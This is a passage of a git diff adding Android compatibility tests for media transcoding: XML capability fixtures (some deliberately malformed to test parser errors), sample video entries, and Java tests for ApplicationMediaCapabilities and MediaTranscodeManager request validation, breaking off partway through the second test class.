+++ b/tests/tests/mediatranscoding/assets/SupportedWithoutFormat.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/WrongBooleanValue.xml b/tests/tests/mediatranscoding/assets/WrongBooleanValue.xml
new file mode 100644
index 0000000..0605623
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/WrongBooleanValue.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="yes"/>
+    <format android:name="HDR10" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag.xml b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag.xml
new file mode 100644
index 0000000..5f69c26
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capability xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag2.xml b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag2.xml
new file mode 100644
index 0000000..f6ed8ca
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag2.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<MediaCapability xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="true"/>
+</MediaCapability>
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
new file mode 100644
index 0000000..6105ba9
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
new file mode 100644
index 0000000..61656a1
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_AVC_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_AVC_30Frames.mp4
new file mode 100644
index 0000000..28b4f93
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_AVC_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
new file mode 100644
index 0000000..3b797f5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_30Frames.mp4
new file mode 100644
index 0000000..3cd27e5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
new file mode 100644
index 0000000..067170d
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
new file mode 100644
index 0000000..a974ef5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/xml/mediacapabilities.xml b/tests/tests/mediatranscoding/res/xml/mediacapabilities.xml
new file mode 100644
index 0000000..3bff61e
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/xml/mediacapabilities.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="false"/>
+    <format android:name="SlowMotion" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
new file mode 100644
index 0000000..5f174ec
--- /dev/null
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
@@ -0,0 +1,301 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.mediatranscoding.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.res.XmlResourceParser;
+import android.media.ApplicationMediaCapabilities;
+import android.media.MediaFeature;
+import android.media.MediaFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Xml;
+
+import org.junit.Test;
+import org.xmlpull.v1.XmlPullParser;
+
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.List;
+
+@Presubmit
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class ApplicationMediaCapabilitiesTest extends AndroidTestCase {
+    private static final String TAG = "ApplicationMediaCapabilitiesTest";
+
+    public void testSetSupportHevc() throws Exception {
+        ApplicationMediaCapabilities capability =
+                new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC).build();
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    public void testSetSupportHdr() throws Exception {
+        ApplicationMediaCapabilities capability =
+                new ApplicationMediaCapabilities.Builder().addSupportedHdrType(
+                        MediaFeature.HdrType.HDR10_PLUS).addSupportedVideoMimeType(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC).build();
+        assertEquals(true, capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10_PLUS));
+    }
+
+    // Test supports HDR without supporting hevc, expect exception.
+    public void testSupportHdrWithoutSupportHevc() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            ApplicationMediaCapabilities capability =
+                    new ApplicationMediaCapabilities.Builder().addSupportedHdrType(
+                            MediaFeature.HdrType.HDR10_PLUS).build();
+        });
+    }
+
+
+    // Test builder with all supports are set to true.
+    public void testBuilder() throws Exception {
+        ApplicationMediaCapabilities capability =
+                new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC).addSupportedHdrType(
+                        MediaFeature.HdrType.HDR10_PLUS).build();
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10_PLUS));
+    }
+
+    //   Test read the application's xml from res/xml folder using the XmlResourceParser.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testReadMediaCapabilitiesXml() throws Exception {
+        XmlResourceParser parser = mContext.getResources().getXml(R.xml.mediacapabilities);
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    //   Test read the xml from assets folder using the InputStream.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="VP9" supported="false"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testReadFromCorrectXmlWithInputStreamInAssets() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        List<String> supportedVideoMimetypes = capability.getSupportedVideoMimeTypes();
+        assertTrue(supportedVideoMimetypes.contains(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        List<String> unsupportedVideoMimetypes = capability.getUnsupportedVideoMimeTypes();
+        assertTrue(unsupportedVideoMimetypes.contains(MediaFormat.MIMETYPE_VIDEO_VP9));
+        List<String> unsupportedHdr = capability.getUnsupportedHdrTypes();
+        assertTrue(unsupportedHdr.contains(MediaFeature.HdrType.HDR10));
+    }
+
+    //   Test read the application's xml from assets folder using the XmlResourceParser.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="true"/>
+    //    <format android:name="HDR10Plus" supported="true"/>
+    //    <format android:name="Dolby-Vision" supported="true"/>
+    //    <format android:name="HLG" supported="true"/>
+    public void testReadMediaCapabilitiesXmlWithSupportAllHdr() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("SupportAllHdr.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10_PLUS));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.DOLBY_VISION));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HLG));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        List<String> supportedHdrTypes = capability.getSupportedHdrTypes();
+        assertTrue(supportedHdrTypes.contains(MediaFeature.HdrType.HDR10));
+        assertTrue(supportedHdrTypes.contains(MediaFeature.HdrType.HDR10_PLUS));
+        assertTrue(supportedHdrTypes.contains(MediaFeature.HdrType.DOLBY_VISION));
+        assertTrue(supportedHdrTypes.contains(MediaFeature.HdrType.HLG));
+        assertEquals(4, supportedHdrTypes.size());
+    }
+
+    // Test parsing invalid xml with wrong tag expect UnsupportedOperationException
+    // MediaCapability does not match MediaCapabilities at the end which will lead to
+    // exception with "Ill-formatted xml file"
+    // <MediaCapability xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="true"/>
+    // </MediaCapabilities>
+    public void testReadFromWrongMediaCapabilityXml() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("WrongMediaCapabilityTag.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test invalid xml with wrong tag expect UnsupportedOperationException
+    // MediaCapability is wrong tag.
+    // <MediaCapability xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="true"/>
+    // </MediaCapability>
+    public void testReadFromWrongMediaCapabilityXml2() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("WrongMediaCapabilityTag2.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test invalid attribute value of "support" with true->yes expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HEVC" supported="yes"/>
+    //    <format android:name="HDR10" supported="false"/>
+    // </media-capabilities>
+    public void testReadFromXmlWithWrongBoolean() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("WrongBooleanValue.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that support HDR10 but not support HEVC.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HDR10" supported="true"/>
+    // </media-capabilities>
+    public void testReadXmlSupportHdrWithoutSupportHevc() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("SupportHdrWithoutHevc.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has conflicted supported value.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format android:name="HEVC" supported="true"/>
+    //     <format android:name="HEVC" supported="false"/>
+    // </media-capabilities>
+    public void testReadXmlConflictSupportedValue() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("ConflictSupportedValue.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has empty format.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format/>
+    // </media-capabilities>
+    public void testReadXmlWithEmptyFormat() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("EmptyFormat.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has empty format.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format android:name="HEVC"/>
+    // </media-capabilities>
+    public void testReadXmlFormatWithoutSupported() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("FormatWithoutSupported.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has supported without the format name.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format supported="true"/>
+    // </media-capabilities>
+    public void testReadXmlSupportedWithoutFormat() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("SupportedWithoutFormat.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test unspecified codec type.
+    // AV1 is not declare in the XML which leads to isFormatSpecified return false.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="VP9" supported="false"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testUnspecifiedCodecMimetype() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isFormatSpecified(MediaFormat.MIMETYPE_VIDEO_AV1));
+        assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_VP9));
+    }
+
+    // Test unsupported codec type.
+    //    <format android:name="HEVC" supported="false"/>
+    public void testUnsupportedCodecMimetype() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilitiesUnsupportedHevc.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertTrue(capability.isFormatSpecified(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    // Test unspecified and unsupported hdr type.
+    // DOLBY_VISION is not declare in the XML which leads to isFormatSpecified return false.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testUnsupportedHdrtype() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isFormatSpecified(MediaFeature.HdrType.DOLBY_VISION));
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.DOLBY_VISION));
+        assertTrue(capability.isFormatSpecified(MediaFeature.HdrType.HDR10));
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+    }
+}
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
new file mode 100644
index 0000000..805086f
--- /dev/null
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
@@ -0,0 +1,758 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediatranscoding.cts;
+
+import static org.testng.Assert.assertThrows;
+
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.media.ApplicationMediaCapabilities;
+import android.media.MediaFormat;
+import android.media.MediaTranscodeManager;
+import android.media.MediaTranscodeManager.TranscodingRequest;
+import android.media.MediaTranscodeManager.TranscodingSession;
+import android.media.MediaTranscodeManager.VideoTranscodingRequest;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.provider.MediaStore;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Test;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+@Presubmit
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaTranscodeManagerTest extends AndroidTestCase {
+    private static final String TAG = "MediaTranscodeManagerTest";
+    /** The time to wait for the transcode operation to complete before failing the test. */
+    private static final int TRANSCODE_TIMEOUT_SECONDS = 10;
+    /** Copy the transcoded video to /storage/emulated/0/Download/ */
+    private static final boolean DEBUG_TRANSCODED_VIDEO = false;
+    /** Dump both source yuv and transcode YUV to /storage/emulated/0/Download/ */
+    private static final boolean DEBUG_YUV = false;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+    private MediaTranscodeManager mMediaTranscodeManager = null;
+    private Uri mSourceHEVCVideoUri = null;
+    private Uri mSourceAVCVideoUri = null;
+    private Uri mDestinationUri = null;
+
+    // Default setting for transcoding to H.264.
+    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final int BIT_RATE = 20000000;            // 20Mbps
+    private static final int WIDTH = 1920;
+    private static final int HEIGHT = 1080;
+
+    // Threshold for the psnr to make sure the transcoded video is valid.
+    private static final int PSNR_THRESHOLD = 20;
+
+    // Copy the resource to cache.
+    private Uri resourceToUri(Context context, int resId, String name) throws IOException {
+        Uri resUri = new Uri.Builder()
+                .scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
+                .authority(context.getResources().getResourcePackageName(resId))
+                .appendPath(context.getResources().getResourceTypeName(resId))
+                .appendPath(context.getResources().getResourceEntryName(resId))
+                .build();
+
+        Uri cacheUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/" + name);
+
+        InputStream is = mContext.getResources().openRawResource(resId);
+        OutputStream os = mContext.getContentResolver().openOutputStream(cacheUri);
+
+        FileUtils.copy(is, os);
+        return cacheUri;
+    }
+
+    private static Uri generateNewUri(Context context, String filename) {
+        File outFile = new File(context.getExternalCacheDir(), filename);
+        return Uri.fromFile(outFile);
+    }
+
+    // Generates an invalid uri which will let the service return transcoding failure.
+    private static Uri generateInvalidTranscodingUri(Context context) {
+        File outFile = new File(context.getExternalCacheDir(), "InvalidUri.mp4");
+        return Uri.fromFile(outFile);
+    }
+
+    /**
+     * Creates a MediaFormat with the default settings.
+     */
+    private static MediaFormat createMediaFormat() {
+        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, WIDTH, HEIGHT);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
+        return format;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        Log.d(TAG, "setUp");
+        super.setUp();
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
+        mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
+        assertNotNull(mMediaTranscodeManager);
+        androidx.test.InstrumentationRegistry.registerInstance(
+                InstrumentationRegistry.getInstrumentation(), new Bundle());
+
+        // Setup source HEVC file uri.
+        mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_30Frames,
+                "Video_HEVC_30Frames.mp4");
+
+        // Setup source AVC file uri.
+        mSourceAVCVideoUri = resourceToUri(mContext, R.raw.Video_AVC_30Frames,
+                "Video_AVC_30Frames.mp4");
+
+        // Setup destination file.
+        mDestinationUri = generateNewUri(mContext, "transcoded.mp4");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        InstrumentationRegistry
+                .getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        super.tearDown();
+    }
+
+    // Skip the test for TV, Car and Watch devices.
+    private boolean shouldSkip() {
+        PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH)
+                || pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
+     * Verify that setting null destination uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithNullDestinationUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, null,
+                            createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that setting invalid pid will throw exception.
+     */
+    public void testCreateTranscodingWithInvalidClientPid() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, mDestinationUri,
+                            createMediaFormat())
+                            .setClientPid(-1)
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that setting invalid uid will throw exception.
+     */
+    public void testCreateTranscodingWithInvalidClientUid() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, mDestinationUri,
+                            createMediaFormat())
+                            .setClientUid(-1)
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that setting null source uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithNullSourceUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(null, mDestinationUri, createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that not setting source uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithoutSourceUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(null, mDestinationUri, createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that not setting destination uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithoutDestinationUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            VideoTranscodingRequest request =
+                    new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, null,
+                            createMediaFormat())
+                            .build();
+        });
+    }
+
+
+    /**
